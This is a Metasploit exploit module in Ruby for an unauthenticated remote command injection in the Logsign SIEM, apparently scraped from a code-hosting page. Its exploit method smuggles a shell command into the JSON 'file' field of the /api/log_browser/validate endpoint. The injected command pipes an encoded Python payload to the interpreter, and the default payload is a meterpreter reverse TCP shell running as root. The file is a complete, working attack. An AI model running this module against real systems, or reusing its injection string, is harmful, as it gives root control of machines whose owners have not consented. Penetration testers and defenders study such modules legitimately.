78 lines
2.3 KiB
Ruby
78 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Logsign Remote Command Injection',
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'Description' => %q{
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This module exploits a command injection vulnerability in Logsign.
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By exploiting this vulnerability, unauthenticated users can execute
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arbitrary code under the root user.
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Logsign has a publicly accessible endpoint. That endpoint takes a user
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input and then use it during operating system command execution without
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proper validation.
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This module was tested against 4.4.2 and 4.4.137 versions.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
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],
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'References' =>
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[
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['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
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],
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'Privileged' => true,
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'Platform' => ['python'],
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'Arch' => ARCH_PYTHON,
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'DefaultOptions' =>
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{
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'payload' => 'python/meterpreter/reverse_tcp'
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},
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'Targets' => [ ['Automatic', {}] ],
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'DisclosureDate' => 'Feb 26 2017',
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'DefaultTarget' => 0
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))
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end
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def check
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p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
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'ctype' => 'application/json',
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'data' => JSON.generate(p_hash)
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)
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if res && res.body.include?('{"message": "success", "success": true}')
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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print_status("Delivering payload...")
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p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
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send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
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'ctype' => 'application/json',
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'data' => JSON.generate(p_hash)
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)
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end
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end
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